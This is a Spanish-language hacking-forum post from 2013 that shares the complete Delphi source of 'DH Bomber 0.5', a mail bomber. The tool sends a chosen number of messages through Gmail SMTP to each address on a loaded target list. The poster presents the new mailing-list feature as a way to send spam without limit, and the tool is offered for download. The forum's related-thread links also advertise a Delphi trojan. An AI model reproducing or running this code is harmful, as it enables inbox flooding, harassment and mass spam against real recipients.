comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Delphi] DH Bomber 0.5

  • 0 Respuestas
  • 1602 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« en: Diciembre 13, 2013, 12:19:55 am »
Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD.

Una imagen :



El codigo.

Código: Delphi
  1. // DH Bomber 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dh;
  5.  
  6. interface
  7.  
  8. uses
  9.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.   Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton,
  11.   sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler,
  12.   IdIOHandlerSocket,
  13.   IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  14.   IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  15.   IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox,
  16.   acPNG;
  17.  
  18. type
  19.   TForm1 = class(TForm)
  20.     sSkinManager1: TsSkinManager;
  21.     sStatusBar1: TsStatusBar;
  22.     sPageControl1: TsPageControl;
  23.     sTabSheet1: TsTabSheet;
  24.     sTabSheet2: TsTabSheet;
  25.     sTabSheet3: TsTabSheet;
  26.     sTabSheet4: TsTabSheet;
  27.     sTabSheet5: TsTabSheet;
  28.     sTabSheet6: TsTabSheet;
  29.     sGroupBox1: TsGroupBox;
  30.     sLabel1: TsLabel;
  31.     sLabel2: TsLabel;
  32.     sEdit1: TsEdit;
  33.     sEdit2: TsEdit;
  34.     sGroupBox2: TsGroupBox;
  35.     sLabel5: TsLabel;
  36.     sLabel6: TsLabel;
  37.     sEdit5: TsEdit;
  38.     sEdit6: TsEdit;
  39.     sGroupBox3: TsGroupBox;
  40.     sMemo1: TsMemo;
  41.     sButton1: TsButton;
  42.     MediaPlayer1: TMediaPlayer;
  43.     sLabel3: TsLabel;
  44.     sEdit3: TsEdit;
  45.     Image1: TImage;
  46.     PopupMenu1: TPopupMenu;
  47.     N2: TMenuItem;
  48.     S2: TMenuItem;
  49.     sGroupBox4: TsGroupBox;
  50.     sMemo2: TsMemo;
  51.     sGroupBox5: TsGroupBox;
  52.     sListBox1: TsListBox;
  53.     sGroupBox6: TsGroupBox;
  54.     Image2: TImage;
  55.     sLabel7: TsLabel;
  56.     PopupMenu2: TPopupMenu;
  57.     L1: TMenuItem;
  58.     A1: TMenuItem;
  59.     C1: TMenuItem;
  60.     OpenDialog1: TOpenDialog;
  61.     sLabel4: TsLabel;
  62.     procedure FormCreate(Sender: TObject);
  63.     procedure N2Click(Sender: TObject);
  64.     procedure S2Click(Sender: TObject);
  65.  
  66.     procedure sButton1Click(Sender: TObject);
  67.     procedure C1Click(Sender: TObject);
  68.     procedure L1Click(Sender: TObject);
  69.  
  70.     procedure A1Click(Sender: TObject);
  71.   private
  72.     { Private declarations }
  73.   public
  74.     { Public declarations }
  75.   end;
  76.  
  77. var
  78.   Form1: TForm1;
  79.   themenow: Boolean;
  80.  
  81. implementation
  82.  
  83. {$R *.dfm}
  84. // Functions
  85.  
  86. procedure enviate_esta(username, password, toto, subject, body: string);
  87. var
  88.   data: TIdMessage;
  89.   mensaje: TIdSMTP;
  90.  
  91. begin
  92.  
  93.   mensaje := TIdSMTP.Create(nil);
  94.  
  95.   data := TIdMessage.Create(nil);
  96.   data.From.Address := username;
  97.   data.Recipients.EMailAddresses := toto;
  98.   data.subject := subject;
  99.   data.body.Text := body;
  100.  
  101.   mensaje.Host := 'smtp.gmail.com';
  102.   mensaje.Port := 587;
  103.   mensaje.username := username;
  104.   mensaje.password := password;
  105.  
  106.   mensaje.Connect;
  107.   mensaje.Send(data);
  108.   mensaje.Disconnect;
  109.  
  110.   mensaje.Free;
  111.   data.Free;
  112.  
  113. end;
  114.  
  115. //
  116.  
  117. procedure TForm1.A1Click(Sender: TObject);
  118. var
  119.  
  120.   archivo: TextFile;
  121.   lineas: String;
  122.  
  123. begin
  124.  
  125.   OpenDialog1.InitialDir := GetCurrentDir;
  126.  
  127.   if OpenDialog1.Execute then
  128.   begin
  129.     AssignFile(archivo, OpenDialog1.Filename);
  130.     Reset(archivo);
  131.  
  132.     while not EOF(archivo) do
  133.     begin
  134.       ReadLn(archivo, lineas);
  135.       sListBox1.Items.Add(lineas);
  136.     end;
  137.  
  138.   end;
  139.  
  140. end;
  141.  
  142. procedure TForm1.C1Click(Sender: TObject);
  143. begin
  144.   sListBox1.Clear;
  145. end;
  146.  
  147. procedure TForm1.FormCreate(Sender: TObject);
  148. begin
  149.  
  150.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  151.   sSkinManager1.SkinName := 'deep';
  152.   sSkinManager1.Active := True;
  153.  
  154.   MediaPlayer1.Filename := 'data/theme.mp3';
  155.   MediaPlayer1.Open;
  156.   themenow := True;
  157.   MediaPlayer1.Play;
  158.   MediaPlayer1.Notify := True;
  159.  
  160. end;
  161.  
  162. procedure TForm1.L1Click(Sender: TObject);
  163. var
  164.   mail: string;
  165. begin
  166.   mail := InputBox('DH Bomber 0.5', 'Mail', '');
  167.   if not(mail = '') then
  168.   begin
  169.     sListBox1.Items.Add(mail);
  170.   end;
  171. end;
  172.  
  173. procedure TForm1.N2Click(Sender: TObject);
  174. begin
  175.   themenow := True;
  176.   MediaPlayer1.Play;
  177.   MediaPlayer1.Notify := True;
  178. end;
  179.  
  180. procedure TForm1.S2Click(Sender: TObject);
  181. begin
  182.   themenow := false;
  183.   MediaPlayer1.Stop;
  184.   MediaPlayer1.Notify := True;
  185. end;
  186.  
  187. procedure TForm1.sButton1Click(Sender: TObject);
  188. var
  189.   i: integer;
  190.   i2: integer;
  191.   count: integer;
  192.   idasunto: string;
  193.  
  194. begin
  195.  
  196.   sMemo2.Clear;
  197.  
  198.   for i2 := sListBox1.Items.count - 1 downto 0 do
  199.   begin
  200.  
  201.     Sleep(StrToInt(sEdit3.Text) * 1000);
  202.  
  203.     count := StrToInt(sEdit5.Text);
  204.  
  205.     For i := 1 to count do
  206.     begin
  207.  
  208.       if count > 1 then
  209.       begin
  210.         idasunto := '_' + IntToStr(i);
  211.       end;
  212.  
  213.       try
  214.         begin
  215.  
  216.           sStatusBar1.Panels[0].Text := '[+] Target : ' + sListBox1.Items[i2]
  217.             + ' ' + '[+] Message Number ' + IntToStr(i)
  218.             + ' : Sending ' + ' ...';
  219.           Form1.sStatusBar1.Update;
  220.  
  221.           enviate_esta(sEdit1.Text, sEdit2.Text, sListBox1.Items[i2],
  222.             sEdit6.Text + idasunto, sMemo1.Text);
  223.  
  224.           sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
  225.               '[+] Message Number ' + IntToStr(i) + ' : OK ');
  226.  
  227.         end;
  228.       except
  229.         begin
  230.           sStatusBar1.Panels[0].Text :=
  231.             '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
  232.  
  233.           sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
  234.               '[+] Message Number ' + IntToStr(i) + ' : FAIL ');
  235.  
  236.           Form1.sStatusBar1.Update;
  237.         end;
  238.  
  239.       end;
  240.  
  241.     end;
  242.  
  243.   end;
  244.  
  245.   sStatusBar1.Panels[0].Text := '[+] Finished';
  246.   Form1.sStatusBar1.Update;
  247.  
  248. end;
  249.  
  250. end.
  251.  
  252. // The End ?
  253.  

Si lo quieren bajar lo pueden hacer de aca.

 

¿Te gustó el post? COMPARTILO!



[Sintaxis general de Delphi] By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2049
Último mensaje Febrero 24, 2010, 04:35:15 pm
por ANTRAX
Eliminar acentos y otros agregados de un caracter/cadena Delphi 2009

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3259
Último mensaje Febrero 24, 2010, 04:57:14 pm
por ANTRAX
1er troyano en Delphi By: Geek Lord Venezuela [R00t] Team

Iniciado por ANTRAX

Respuestas: 0
Vistas: 3490
Último mensaje Febrero 24, 2010, 04:34:48 pm
por ANTRAX
Poner splash screen con progress bar en delphi

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2977
Último mensaje Febrero 24, 2010, 04:54:23 pm
por ANTRAX
[Delphi] Project Spartacus 1.0 (Regalo de Navidad)

Iniciado por BigBear

Respuestas: 2
Vistas: 1677
Último mensaje Diciembre 26, 2014, 11:54:34 pm
por n4pst3r